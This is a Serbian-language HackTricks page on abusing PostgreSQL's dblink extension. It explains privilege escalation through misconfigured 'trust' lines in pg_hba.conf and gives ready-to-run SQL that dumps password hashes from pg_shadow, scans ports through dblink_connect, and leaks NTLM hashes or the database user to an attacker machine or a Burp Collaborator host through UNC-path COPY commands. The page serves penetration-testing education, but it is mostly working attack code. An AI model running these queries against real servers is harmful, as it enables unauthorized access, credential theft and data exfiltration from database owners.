Mreža - Privesc, Port skener i NTLM izazov odgovor otkrivanje
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pronađite više informacija o ovim napadima u originalnom dokumentu.
Od PostgreSQL 9.1, instalacija dodatnih modula je jednostavna. Registrovane ekstenzije kao što je dblink
mogu se instalirati pomoću CREATE EXTENSION
:
CREATE EXTENSION dblink;
Kada učitate dblink, mogli biste biti u mogućnosti da izvršite neke zanimljive trikove:
Eskalacija privilegija
Fajl pg_hba.conf
može biti loše konfigurisan dozvoljavajući konekcije sa localhost-a kao bilo koji korisnik bez potrebe da znate lozinku. Ovaj fajl se obično može naći u /etc/postgresql/12/main/pg_hba.conf
, a loša konfiguracija izgleda ovako:
local all all trust
Napomena da se ova konfiguracija obično koristi za modifikovanje lozinke db korisnika kada je administrator zaboravi, tako da je ponekad možete pronaći.
Napomena takođe da je datoteka pg_hba.conf čitljiva samo za postgres korisnika i grupu i zapisiva samo od strane postgres korisnika.
Ovaj slučaj je koristan ako već imate shell unutar žrtve jer će vam omogućiti da se povežete na postgresql bazu podataka.
Još jedna moguća pogrešna konfiguracija sastoji se od nečega poput ovoga:
host all all 127.0.0.1/32 trust
Kao što će omogućiti svima sa localhost-a da se povežu na bazu podataka kao bilo koji korisnik.
U ovom slučaju, i ako dblink
funkcija radi, mogli biste povećati privilegije povezivanjem na bazu podataka putem već uspostavljene veze i pristupiti podacima kojima ne biste trebali imati pristup:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
Zloupotrebljavajući dblink_connect
, takođe možete pretraživati otvorene portove. Ako ta **funkcija ne radi, trebali biste pokušati da koristite dblink_connect_u()
, jer dokumentacija kaže da je dblink_connect_u()
identičan dblink_connect()
, osim što će omogućiti korisnicima koji nisu superkorisnici da se povežu koristeći bilo koju metodu autentifikacije_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Napomena da pre nego što budete mogli da koristite dblink_connect
ili dblink_connect_u
možda ćete morati da izvršite:
CREATE extension dblink;
UNC putanja - NTLM hash otkrivanje
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.